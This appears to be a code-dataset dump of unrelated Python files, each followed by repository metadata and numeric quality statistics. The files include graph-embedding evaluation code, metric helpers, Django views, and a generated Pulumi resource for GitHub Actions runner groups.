pos_scores, dim=1) + 1 rankings = rankings.cpu().detach().numpy() for ranking in rankings: mrr += 1.0 / ranking mr += float(ranking) hit1 += 1.0 if ranking <= 1 else 0.0 hit3 += 1.0 if ranking <= 3 else 0.0 hit10 += 1.0 if ranking <= 10 else 0.0 total_cnt += 1 res="MRR {}\nMR {}\nHITS@1 {}\nHITS@3 {}\nHITS@10 {}".format(mrr / total_cnt, mr / total_cnt, hit1 / total_cnt, hit3 / total_cnt, hit10 / total_cnt) print("MRR {}\nMR {}\nHITS@1 {}\nHITS@3 {}\nHITS@10 {}".format(mrr / total_cnt, mr / total_cnt, hit1 / total_cnt, hit3 / total_cnt, hit10 / total_cnt)) t1 = time.time() print("Full eval {} exmpales takes {} seconds".format(pos_scores.shape[0], t1 - t0)) return res ntype2id = {} for i, ntype in enumerate(test_g.ntypes): ntype2id[ntype] = i etype2id = {} for i, etype in enumerate(test_g.etypes): etype2id[etype] = i train_data=transform_triplets(train_edges, etype2id, ntype2id) valid_data = transform_triplets(valid_edges, etype2id, ntype2id) test_data = transform_triplets(test_edges, etype2id, ntype2id) pos_pairs, neg_pairs=prepare_triplets(train_data, valid_data, test_data) minibatch_info, minibatch_blocks=creat_eval_minibatch(test_g, n_layers) res=fullgraph_eval(test_g, model, device, dim_size, minibatch_blocks, minibatch_info, pos_pairs, neg_pairs, eval_neg_cnt,ntype2id,etype2id) return res def direct_eval_lppr_link_prediction(test_g, model, train_edges, valid_edges, test_edges, n_hidden,n_layers, eval_neg_cnt=100,use_cuda=True): # evaluate PanRep LP module for link prediction if use_cuda: model.cpu() test_g = test_g.to(torch.device("cpu")) pr_mrr = "PanRep LP " pr_mrr += evaluation_link_prediction(test_g, model, train_edges, valid_edges, test_edges, dim_size=n_hidden, eval_neg_cnt=eval_neg_cnt, n_layers=n_layers, device=torch.device("cpu")) if use_cuda: model.cuda() return pr_mrr def direct_eval_pr_link_prediction(train_g,test_g,train_edges, valid_edges, test_edges,fanout,batch_size,n_hidden,ntype2id,ng_rate,l2norm, n_layers,n_lp_epochs,embeddings,use_cuda,device): sampler = InfomaxNodeRecNeighborSampler(train_g, [fanout] * (n_layers), device=device) pr_train_ind=list(sampler.hetero_map.keys()) lp_sampler = LinkPredictorEvalSampler(train_g, [fanout] * (1),device=device) lp_loader = DataLoader(dataset=pr_train_ind, batch_size=batch_size, collate_fn=lp_sampler.sample_blocks, shuffle=True, num_workers=0) lp_model=DLinkPredictorOnlyRel(out_dim=n_hidden,etypes=train_g.etypes,ntype2id=ntype2id,edg_pct=1,ng_rate=ng_rate,use_cuda=True) if use_cuda: lp_model.cuda() lp_optimizer = torch.optim.Adam(lp_model.parameters(), lr=5e-2, weight_decay=l2norm) for epoch in range(n_lp_epochs): lp_model.train() lp_optimizer.zero_grad() for i, (seeds, blocks) in enumerate(lp_loader): embs={} for ntype in seeds: embs[ntype]=embeddings[ntype][seeds[ntype]].to(device) loss= lp_model.forward_mb(g=blocks[0],embed=embs) loss.backward() lp_optimizer.step() print("Link Predict finetune loss: {:.4f} Epoch {:05d} | Batch {:03d}".format(loss.item(), epoch, i)) if use_cuda: lp_model.cpu() train_g = train_g.to(torch.device("cpu")) test_g=test_g.to(torch.device("cpu")) pr_mrr= evaluation_link_prediction_wembeds(test_g, lp_model, embeddings, train_edges, valid_edges, test_edges, dim_size=n_hidden, eval_neg_cnt=100, n_layers=n_layers, device=torch.device("cpu")) if use_cuda: train_g = train_g.to(device) return pr_mrr def macro_micro_f1(y_test, y_pred): macro_f1 = f1_score(y_test, y_pred, average='macro') micro_f1 = f1_score(y_test, y_pred, average='micro') print("Macro micro f1 " +str(macro_f1)+ " "+str(micro_f1)) return macro_f1, micro_f1 def kmeans_test(X, y, n_clusters, repeat=10): nmi_list = [] ari_list = [] for _ in range(repeat): kmeans = KMeans(n_clusters=n_clusters) y_pred = kmeans.fit_predict(X) nmi_score = normalized_mutual_info_score(y, y_pred, average_method='arithmetic') ari_score = adjusted_rand_score(y, y_pred) nmi_list.append(nmi_score) ari_list.append(ari_score) return np.mean(nmi_list), np.std(nmi_list), np.mean(ari_list), np.std(ari_list) def svm_test(X, y, test_sizes=(0.2, 0.4, 0.6, 0.8), repeat=10): random_states = [182318 + i for i in range(repeat)] result_macro_f1_list = [] result_micro_f1_list = [] for test_size in test_sizes: macro_f1_list = [] micro_f1_list = [] for i in range(repeat): X_train, X_test, y_train, y_test = train_test_split( X, y, test_size=test_size, shuffle=True, random_state=random_states[i]) svm = LinearSVC(dual=False) svm.fit(X_train, y_train) y_pred = svm.predict(X_test) macro_f1 = f1_score(y_test, y_pred, average='macro') micro_f1 = f1_score(y_test, y_pred, average='micro') macro_f1_list.append(macro_f1) micro_f1_list.append(micro_f1) result_macro_f1_list.append((np.mean(macro_f1_list), np.std(macro_f1_list))) result_micro_f1_list.append((np.mean(micro_f1_list), np.std(micro_f1_list))) return result_macro_f1_list, result_micro_f1_list def evaluate_results_nc(embeddings, labels, num_classes): print('SVM test') svm_macro_f1_list, svm_micro_f1_list = svm_test(embeddings, labels) macro_str='Macro-F1: ' + ', '.join(['{:.6f}~{:.6f} ({:.1f})'.format(macro_f1_mean, macro_f1_std, train_size) for (macro_f1_mean, macro_f1_std), train_size in zip(svm_macro_f1_list, [0.8, 0.6, 0.4, 0.2])]) micro_str='Micro-F1: ' + ', '.join(['{:.6f}~{:.6f} ({:.1f})'.format(micro_f1_mean, micro_f1_std, train_size) for (micro_f1_mean, micro_f1_std), train_size in zip(svm_micro_f1_list, [0.8, 0.6, 0.4, 0.2])]) print(macro_str) print(micro_str) print('K-means test') nmi_mean, nmi_std, ari_mean, ari_std = kmeans_test(embeddings, labels, num_classes) print('NMI: {:.6f}~{:.6f}'.format(nmi_mean, nmi_std)) print('ARI: {:.6f}~{:.6f}'.format(ari_mean, ari_std)) return svm_macro_f1_list, svm_micro_f1_list, nmi_mean, nmi_std, ari_mean, ari_std,macro_str,micro_str class Dataset(th.utils.data.Dataset): 'Characterizes a dataset for PyTorch' def __init__(self, list_IDs, labels,features): 'Initialization' self.labels = labels self.list_IDs = list_IDs self.features=features def __len__(self): 'Denotes the total number of samples' return len(self.list_IDs) def __getitem__(self, index): 'Generates one sample of data' # Select sample ID = self.list_IDs[index] # Load data and get label X =self.features[ID] y = self.labels[ID] return X, y def dcg_at_k(r, k): r = np.asfarray(r)[:k] if r.size: return r[0] + np.sum(r[1:] / np.log2(np.arange(2, r.size + 1))) return 0. def ndcg_at_k(r, k): dcg_max = dcg_at_k(sorted(r, reverse=True), k) if not dcg_max: return 0. return dcg_at_k(r, k) / dcg_max def _compute_acc(logits, labels, multilabel): if multilabel: valid_res = [] for ai, bi in zip(labels, logits.argsort(descending = True)): valid_res += [(ai[bi.cpu().numpy()]).cpu().numpy()] valid_ndcg = np.average([ndcg_at_k(resi, len(resi)) for resi in valid_res]) return valid_ndcg else: return th.sum(logits.argmax(dim=1).cpu() == labels.cpu()).item() / len(labels) def compute_acc(results, labels, multilabel): """ Compute the accuracy of prediction given the labels. """ if multilabel: return _compute_acc(results, labels, multilabel) else: labels = labels.long() return (results == labels).float().sum() / len(results) def mlp_classifier(args,feats,use_cuda,n_hidden,lr_d, n_cepochs,multilabel,num_classes, labels,train_idx,val_idx,test_idx,device ,batch_size=512): ### # Use the encoded features for classification # Here we initialize the features using the reconstructed ones # feats = g.nodes[category].data['features'] l2norm = 0.0001 inp_dim = feats.shape[1] model = ClassifierMLP(input_size=inp_dim, hidden_size=n_hidden,out_size=num_classes) if use_cuda: model.cuda() feats=feats.cuda() params = {'batch_size': batch_size, 'shuffle': True, 'num_workers': 0} # Generators training_set = Dataset(train_idx, labels,feats) training_generator = th.utils.data.DataLoader(training_set, **params) validation_set = Dataset(val_idx, labels,feats) validation_generator = th.utils.data.DataLoader(validation_set, **params) # optimizer optimizer = torch.optim.Adam(model.parameters(), lr=lr_d, weight_decay=l2norm) # training loop print("start training...") forward_time = [] backward_time = [] model.train() # TODO find all zero indices rows and remove. if len(labels.shape)>1: zero_rows=np.where(~(labels).cpu().numpy().any(axis=1))[0] train_idx=np.array(list(set(train_idx).difference(set(zero_rows)))) val_idx = np.array(list(set(val_idx).difference(set(zero_rows)))) test_idx = np.array(list(set(test_idx).difference(set(zero_rows)))) train_indices = torch.tensor(train_idx).to(device).long() valid_indices = torch.tensor(val_idx).to(device).long() test_indices = torch.tensor(test_idx).to(device).long() best_val_acc = 0 best_test_acc = 0 labels_n=labels if multilabel is False: loss_func = torch.nn.CrossEntropyLoss() else: if args.klloss: loss_func = torch.nn.KLDivLoss(reduction='batchmean') else: loss_func = torch.nn.BCEWithLogitsLoss() for epoch in range(n_cepochs): for local_batch, local_labels in training_generator: optimizer.zero_grad() logits = model(local_batch) local_labels =local_labels.to(device) if args.klloss and multilabel: logits=torch.log_softmax(logits.squeeze(), dim=-1) loss = loss_func(logits, (local_labels)) loss.backward() optimizer.step() #train_acc = compute_acc(results=pred, labels=local_labels, multilabel=multilabel) if epoch%2==0: pred = model(feats) if multilabel is False: pred = pred.argmax(dim=1) else: if args.klloss and multilabel: pred=torch.log_softmax(pred.squeeze(), dim=-1) train_acc = compute_acc(results= pred[train_indices],labels=labels[train_indices],multilabel=multilabel) val_acc = compute_acc(results=pred[valid_indices], labels=labels[valid_indices], multilabel=multilabel) test_acc = compute_acc(results=pred[test_indices], labels=labels[test_indices], multilabel=multilabel) if best_val_acc < val_acc: best_val_acc = val_acc best_test_acc = test_acc if epoch % 5 == 0: print('Epoch '+str (epoch)) print(' Train Acc %.4f, Val Acc %.4f (Best %.4f), Test Acc %.4f (Best %.4f)' % ( train_acc.item() if th.is_tensor(train_acc) else train_acc, val_acc.item() if th.is_tensor(val_acc) else val_acc, best_val_acc.item() if th.is_tensor(best_val_acc) else best_val_acc, test_acc.item() if th.is_tensor(test_acc) else test_acc, best_test_acc.item() if th.is_tensor(best_test_acc) else best_test_acc )) print() return best_test_acc

53.456722

141

0.509956

6,915

58,054

3.902965

0.056399

0.029568

0.022231

0.016599

0.791137

0.762866

0.750861

0.744637

0.733669

0

0.016712

0.402177

58,054

1,086

142

53.456722

0.760935

0.022272

0

0.753439

0

0.001058

0.01473

0

0.002116

0

0.001842

0.006349

1

0.026455

false

0

0.013757

0

0.070899

0.019048

0

null

0

1

0

1

0

null

0

6

798566474472edcaa08f8e52ae1390d1c26ca7e9

94

py

Python

tap_lever/streams/cache.py

luandy64/tap-lever

68aa7bcb65b98d2e8c47adaa3679ce43a018b83b

[ "Apache-2.0" ]

null

tap_lever/streams/cache.py

luandy64/tap-lever

68aa7bcb65b98d2e8c47adaa3679ce43a018b83b

[ "Apache-2.0" ]

1

2019-11-06T15:35:03.000Z

2019-11-06T17:00:27.000Z

tap_lever/streams/cache.py

luandy64/tap-lever

68aa7bcb65b98d2e8c47adaa3679ce43a018b83b

[ "Apache-2.0" ]

2

2019-06-10T19:34:38.000Z

2020-06-30T21:20:36.000Z

CACHE = {} def add(key, val): CACHE[key] = val def get(key): return CACHE.get(key)

10.444444

25

0.574468

15

94

3.6

0.466667

0.222222

0

0.255319

94

8

26

11.75

0.771429

0

1

0.4

false

0

0.2

0.6

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

7990acf040583f0177b4e2ad62a965cfae580ebf

186

py

Python

app/main/views.py

shift37/asx_gym

dd3d8dafae4f22ab9c9027bf362013255dbc6c36

[ "RSA-MD" ]

null

app/main/views.py

shift37/asx_gym

dd3d8dafae4f22ab9c9027bf362013255dbc6c36

[ "RSA-MD" ]

3

2020-06-06T08:27:08.000Z

2020-06-13T09:51:26.000Z

app/main/views.py

asxgym/asx_gym

8b7745820c0d4cd59281acf7c003ec1f1938005a

[ "RSA-MD" ]

null

from django.views.generic import TemplateView class IndexView(TemplateView): template_name = "main/index.html" class PriceView(TemplateView): template_name = "main/price.html"

23.25

45

0.774194

22

186

6.454545

0.681818

0.28169

0.338028

0.394366

0

0.129032

186

7

46

26.571429

0.876543

0

0.16129

0

1

0

false

0

0.2

0

1

0

1

0

null

1

0

1

0

null

0

1

0

6

79b5d0ef9d0fbac54ad1f91b5d2391133bd869af

2,033

py

Python

src/ssh-kd/utils/eval.py

kiat/debs2019

b1231a0995a154f8549ef23a00f635b81cc3c689

[ "Apache-2.0" ]

null

src/ssh-kd/utils/eval.py

kiat/debs2019

b1231a0995a154f8549ef23a00f635b81cc3c689

[ "Apache-2.0" ]

1

2018-12-11T23:19:14.000Z

2018-12-12T06:39:53.000Z

src/ssh-kd/utils/eval.py

kiat/debs2019

b1231a0995a154f8549ef23a00f635b81cc3c689

[ "Apache-2.0" ]

1

2021-05-06T21:54:47.000Z

from functools import reduce def accuracy(a, b): common_keys = set(a).intersection(b) all_keys = set(a).union(b) score = len(common_keys) / len(all_keys) #key score if (score == 0): return score, 'zero' else: #value score pred = {} for k in common_keys: pred[k] = b[k] #true_values_sum = reduce(lambda x,y:int(x)+int(y),a.values()) all_keys = dict.fromkeys(all_keys, 0) for k in a.keys(): all_keys.update({k:a[k]}) for k in b.keys(): all_keys.update({k:b[k]}) true_values_sum = reduce(lambda x,y:int(x)+int(y),all_keys.values()) pred_values_sum = reduce(lambda x,y:int(x)+int(y),pred.values()) val_score = int(pred_values_sum)/int(true_values_sum) if score >= val_score: return (score+val_score)/2,'avg' else: return score,'score' def precision(a,b): #return len(set(a).intersection(b))/len(a) common_keys = set(a).intersection(b) score = len(common_keys) / len(a) if (score == 0): return score else: pred = {} for k in common_keys: pred[k] = b[k] true_values_sum = reduce(lambda x,y:int(x)+int(y),a.values()) pred_values_sum = reduce(lambda x,y:int(x)+int(y),pred.values()) val_score = int(pred_values_sum)/int(true_values_sum) if score >= val_score: return (score+val_score)/2 else: return score def recall(a,b): common_keys = set(a).intersection(b) score = len(common_keys)/len(b) if (score == 0): return score else: pred = {} for k in common_keys: pred[k] = b[k] true_values_sum = reduce(lambda x,y:int(x)+int(y),b.values()) pred_values_sum = reduce(lambda x,y:int(x)+int(y),pred.values()) val_score = int(pred_values_sum)/int(true_values_sum) if score >= val_score: return (score+val_score)/2 else: return score

32.790323

76

0.567634

309

2,033

3.569579

0.135922

0.106074

0.082502

0.133273

0.805984

0.757026

0.737081

0.708976

0

0.004844

0.289228

2,033

62

77

32.790323

0.758478

0.06001

0

0.654545

0

0.006289

0

1

0.054545

false

0

0.018182

0

0.236364

0

null

0

1

0

null

0

6

79ce3138d019a740f67ced95d87081781bd7b506

19,832

py

Python

sdk/python/pulumi_github/actions_runner_group.py

pulumi/pulumi-github

303ed7a28cbfe6ba1db75b3b365dcfa0b00e6e91

[ "ECL-2.0", "Apache-2.0" ]

20

2020-04-27T15:05:01.000Z

2022-02-08T00:28:32.000Z

sdk/python/pulumi_github/actions_runner_group.py

pulumi/pulumi-github

303ed7a28cbfe6ba1db75b3b365dcfa0b00e6e91

[ "ECL-2.0", "Apache-2.0" ]

103

2020-05-01T17:36:32.000Z

2022-03-31T15:26:35.000Z

sdk/python/pulumi_github/actions_runner_group.py

pulumi/pulumi-github

303ed7a28cbfe6ba1db75b3b365dcfa0b00e6e91

[ "ECL-2.0", "Apache-2.0" ]

4

2020-06-24T19:15:02.000Z

2021-11-26T08:05:46.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities __all__ = ['ActionsRunnerGroupArgs', 'ActionsRunnerGroup'] @pulumi.input_type class ActionsRunnerGroupArgs: def __init__(__self__, *, visibility: pulumi.Input[str], name: Optional[pulumi.Input[str]] = None, selected_repository_ids: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None): """ The set of arguments for constructing a ActionsRunnerGroup resource. :param pulumi.Input[str] visibility: Visibility of a runner group. Whether the runner group can include `all`, `selected`, or `private` repositories. A value of `private` is not currently supported due to limitations in the GitHub API. :param pulumi.Input[str] name: Name of the runner group :param pulumi.Input[Sequence[pulumi.Input[int]]] selected_repository_ids: IDs of the repositories which should be added to the runner group """ pulumi.set(__self__, "visibility", visibility) if name is not None: pulumi.set(__self__, "name", name) if selected_repository_ids is not None: pulumi.set(__self__, "selected_repository_ids", selected_repository_ids) @property @pulumi.getter def visibility(self) -> pulumi.Input[str]: """ Visibility of a runner group. Whether the runner group can include `all`, `selected`, or `private` repositories. A value of `private` is not currently supported due to limitations in the GitHub API. """ return pulumi.get(self, "visibility") @visibility.setter def visibility(self, value: pulumi.Input[str]): pulumi.set(self, "visibility", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of the runner group """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="selectedRepositoryIds") def selected_repository_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]: """ IDs of the repositories which should be added to the runner group """ return pulumi.get(self, "selected_repository_ids") @selected_repository_ids.setter def selected_repository_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]): pulumi.set(self, "selected_repository_ids", value) @pulumi.input_type class _ActionsRunnerGroupState: def __init__(__self__, *, allows_public_repositories: Optional[pulumi.Input[bool]] = None, default: Optional[pulumi.Input[bool]] = None, etag: Optional[pulumi.Input[str]] = None, inherited: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, runners_url: Optional[pulumi.Input[str]] = None, selected_repositories_url: Optional[pulumi.Input[str]] = None, selected_repository_ids: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, visibility: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering ActionsRunnerGroup resources. :param pulumi.Input[bool] allows_public_repositories: Whether public repositories can be added to the runner group :param pulumi.Input[bool] default: Whether this is the default runner group :param pulumi.Input[str] etag: An etag representing the runner group object :param pulumi.Input[bool] inherited: Whether the runner group is inherited from the enterprise level :param pulumi.Input[str] name: Name of the runner group :param pulumi.Input[str] runners_url: The GitHub API URL for the runner group's runners :param pulumi.Input[str] selected_repositories_url: Github API URL for the runner group's repositories :param pulumi.Input[Sequence[pulumi.Input[int]]] selected_repository_ids: IDs of the repositories which should be added to the runner group :param pulumi.Input[str] visibility: Visibility of a runner group. Whether the runner group can include `all`, `selected`, or `private` repositories. A value of `private` is not currently supported due to limitations in the GitHub API. """ if allows_public_repositories is not None: pulumi.set(__self__, "allows_public_repositories", allows_public_repositories) if default is not None: pulumi.set(__self__, "default", default) if etag is not None: pulumi.set(__self__, "etag", etag) if inherited is not None: pulumi.set(__self__, "inherited", inherited) if name is not None: pulumi.set(__self__, "name", name) if runners_url is not None: pulumi.set(__self__, "runners_url", runners_url) if selected_repositories_url is not None: pulumi.set(__self__, "selected_repositories_url", selected_repositories_url) if selected_repository_ids is not None: pulumi.set(__self__, "selected_repository_ids", selected_repository_ids) if visibility is not None: pulumi.set(__self__, "visibility", visibility) @property @pulumi.getter(name="allowsPublicRepositories") def allows_public_repositories(self) -> Optional[pulumi.Input[bool]]: """ Whether public repositories can be added to the runner group """ return pulumi.get(self, "allows_public_repositories") @allows_public_repositories.setter def allows_public_repositories(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "allows_public_repositories", value) @property @pulumi.getter def default(self) -> Optional[pulumi.Input[bool]]: """ Whether this is the default runner group """ return pulumi.get(self, "default") @default.setter def default(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "default", value) @property @pulumi.getter def etag(self) -> Optional[pulumi.Input[str]]: """ An etag representing the runner group object """ return pulumi.get(self, "etag") @etag.setter def etag(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "etag", value) @property @pulumi.getter def inherited(self) -> Optional[pulumi.Input[bool]]: """ Whether the runner group is inherited from the enterprise level """ return pulumi.get(self, "inherited") @inherited.setter def inherited(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "inherited", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of the runner group """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="runnersUrl") def runners_url(self) -> Optional[pulumi.Input[str]]: """ The GitHub API URL for the runner group's runners """ return pulumi.get(self, "runners_url") @runners_url.setter def runners_url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "runners_url", value) @property @pulumi.getter(name="selectedRepositoriesUrl") def selected_repositories_url(self) -> Optional[pulumi.Input[str]]: """ Github API URL for the runner group's repositories """ return pulumi.get(self, "selected_repositories_url") @selected_repositories_url.setter def selected_repositories_url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "selected_repositories_url", value) @property @pulumi.getter(name="selectedRepositoryIds") def selected_repository_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]: """ IDs of the repositories which should be added to the runner group """ return pulumi.get(self, "selected_repository_ids") @selected_repository_ids.setter def selected_repository_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]): pulumi.set(self, "selected_repository_ids", value) @property @pulumi.getter def visibility(self) -> Optional[pulumi.Input[str]]: """ Visibility of a runner group. Whether the runner group can include `all`, `selected`, or `private` repositories. A value of `private` is not currently supported due to limitations in the GitHub API. """ return pulumi.get(self, "visibility") @visibility.setter def visibility(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "visibility", value) class ActionsRunnerGroup(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, name: Optional[pulumi.Input[str]] = None, selected_repository_ids: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, visibility: Optional[pulumi.Input[str]] = None, __props__=None): """ This resource allows you to create and manage GitHub Actions runner groups within your GitHub enterprise organizations. You must have admin access to an organization to use this resource. ## Example Usage ```python import pulumi import pulumi_github as github example_repository = github.Repository("exampleRepository") example_actions_runner_group = github.ActionsRunnerGroup("exampleActionsRunnerGroup", visibility="selected", selected_repository_ids=[example_repository.repo_id]) ``` ## Import This resource can be imported using the ID of the runner group ```sh $ pulumi import github:index/actionsRunnerGroup:ActionsRunnerGroup test 7 ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] name: Name of the runner group :param pulumi.Input[Sequence[pulumi.Input[int]]] selected_repository_ids: IDs of the repositories which should be added to the runner group :param pulumi.Input[str] visibility: Visibility of a runner group. Whether the runner group can include `all`, `selected`, or `private` repositories. A value of `private` is not currently supported due to limitations in the GitHub API. """ ... @overload def __init__(__self__, resource_name: str, args: ActionsRunnerGroupArgs, opts: Optional[pulumi.ResourceOptions] = None): """ This resource allows you to create and manage GitHub Actions runner groups within your GitHub enterprise organizations. You must have admin access to an organization to use this resource. ## Example Usage ```python import pulumi import pulumi_github as github example_repository = github.Repository("exampleRepository") example_actions_runner_group = github.ActionsRunnerGroup("exampleActionsRunnerGroup", visibility="selected", selected_repository_ids=[example_repository.repo_id]) ``` ## Import This resource can be imported using the ID of the runner group ```sh $ pulumi import github:index/actionsRunnerGroup:ActionsRunnerGroup test 7 ``` :param str resource_name: The name of the resource. :param ActionsRunnerGroupArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(ActionsRunnerGroupArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, name: Optional[pulumi.Input[str]] = None, selected_repository_ids: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, visibility: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = ActionsRunnerGroupArgs.__new__(ActionsRunnerGroupArgs) __props__.__dict__["name"] = name __props__.__dict__["selected_repository_ids"] = selected_repository_ids if visibility is None and not opts.urn: raise TypeError("Missing required property 'visibility'") __props__.__dict__["visibility"] = visibility __props__.__dict__["allows_public_repositories"] = None __props__.__dict__["default"] = None __props__.__dict__["etag"] = None __props__.__dict__["inherited"] = None __props__.__dict__["runners_url"] = None __props__.__dict__["selected_repositories_url"] = None super(ActionsRunnerGroup, __self__).__init__( 'github:index/actionsRunnerGroup:ActionsRunnerGroup', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, allows_public_repositories: Optional[pulumi.Input[bool]] = None, default: Optional[pulumi.Input[bool]] = None, etag: Optional[pulumi.Input[str]] = None, inherited: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, runners_url: Optional[pulumi.Input[str]] = None, selected_repositories_url: Optional[pulumi.Input[str]] = None, selected_repository_ids: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, visibility: Optional[pulumi.Input[str]] = None) -> 'ActionsRunnerGroup': """ Get an existing ActionsRunnerGroup resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[bool] allows_public_repositories: Whether public repositories can be added to the runner group :param pulumi.Input[bool] default: Whether this is the default runner group :param pulumi.Input[str] etag: An etag representing the runner group object :param pulumi.Input[bool] inherited: Whether the runner group is inherited from the enterprise level :param pulumi.Input[str] name: Name of the runner group :param pulumi.Input[str] runners_url: The GitHub API URL for the runner group's runners :param pulumi.Input[str] selected_repositories_url: Github API URL for the runner group's repositories :param pulumi.Input[Sequence[pulumi.Input[int]]] selected_repository_ids: IDs of the repositories which should be added to the runner group :param pulumi.Input[str] visibility: Visibility of a runner group. Whether the runner group can include `all`, `selected`, or `private` repositories. A value of `private` is not currently supported due to limitations in the GitHub API. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _ActionsRunnerGroupState.__new__(_ActionsRunnerGroupState) __props__.__dict__["allows_public_repositories"] = allows_public_repositories __props__.__dict__["default"] = default __props__.__dict__["etag"] = etag __props__.__dict__["inherited"] = inherited __props__.__dict__["name"] = name __props__.__dict__["runners_url"] = runners_url __props__.__dict__["selected_repositories_url"] = selected_repositories_url __props__.__dict__["selected_repository_ids"] = selected_repository_ids __props__.__dict__["visibility"] = visibility return ActionsRunnerGroup(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="allowsPublicRepositories") def allows_public_repositories(self) -> pulumi.Output[bool]: """ Whether public repositories can be added to the runner group """ return pulumi.get(self, "allows_public_repositories") @property @pulumi.getter def default(self) -> pulumi.Output[bool]: """ Whether this is the default runner group """ return pulumi.get(self, "default") @property @pulumi.getter def etag(self) -> pulumi.Output[str]: """ An etag representing the runner group object """ return pulumi.get(self, "etag") @property @pulumi.getter def inherited(self) -> pulumi.Output[bool]: """ Whether the runner group is inherited from the enterprise level """ return pulumi.get(self, "inherited") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Name of the runner group """ return pulumi.get(self, "name") @property @pulumi.getter(name="runnersUrl") def runners_url(self) -> pulumi.Output[str]: """ The GitHub API URL for the runner group's runners """ return pulumi.get(self, "runners_url") @property @pulumi.getter(name="selectedRepositoriesUrl") def selected_repositories_url(self) -> pulumi.Output[str]: """ Github API URL for the runner group's repositories """ return pulumi.get(self, "selected_repositories_url") @property @pulumi.getter(name="selectedRepositoryIds") def selected_repository_ids(self) -> pulumi.Output[Optional[Sequence[int]]]: """ IDs of the repositories which should be added to the runner group """ return pulumi.get(self, "selected_repository_ids") @property @pulumi.getter def visibility(self) -> pulumi.Output[str]: """ Visibility of a runner group. Whether the runner group can include `all`, `selected`, or `private` repositories. A value of `private` is not currently supported due to limitations in the GitHub API. """ return pulumi.get(self, "visibility")

43.779249

243

0.662818

2,277

19,832

5.552481

0.081247

0.080044

0.072135

0.046983

0.816657

0.779325

0.723879

0.702207

0.689314

0.660682

0

0.0002

0.242739

19,832

452

244

43.876106

0.841657

0.33577

0

0.566802

1

0

0.108146

0.06149

0

1

0.161943

false

0.004049

0.020243

0

0.283401

0

null

0

1

0

1

0

1

0

null

0

6

8dd4b763993c043f4b03fb0869ea15c704818756

201

py

Python

multifil/aws/__init__.py

travistune3/multifil

6e2a5d68dbdd7c7b5b6e50bdba92e6f7de3331fb

[ "MIT" ]

1

2020-04-02T17:01:41.000Z

multifil/aws/__init__.py

travistune3/multifil

6e2a5d68dbdd7c7b5b6e50bdba92e6f7de3331fb

[ "MIT" ]

null

multifil/aws/__init__.py

travistune3/multifil

6e2a5d68dbdd7c7b5b6e50bdba92e6f7de3331fb

[ "MIT" ]

2

2020-03-19T23:45:25.000Z

2021-04-05T17:20:18.000Z

from multifil.aws.run import manage from multifil.aws.metas import emit from multifil.utilities import use_aws if use_aws: from .instance import queue_eater from .cluster import watch_cluster

25.125

38

0.80597

31

201

5.096774

0.516129

0.227848

0.189873

0

0.154229

201

7

39

28.714286

0.929412

0

1

0

true

0

0.833333

0

0.833333

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

5c17a3e8245b6ed20f17a4cd87b77cdb4d845703

4,942

py

Python

msteamswebhook/inputs.py

mviniciusleal/msteamswebhook

dfcd1407e296fc5e7ca423853053f679cf625cda

[ "MIT" ]

null

msteamswebhook/inputs.py

mviniciusleal/msteamswebhook

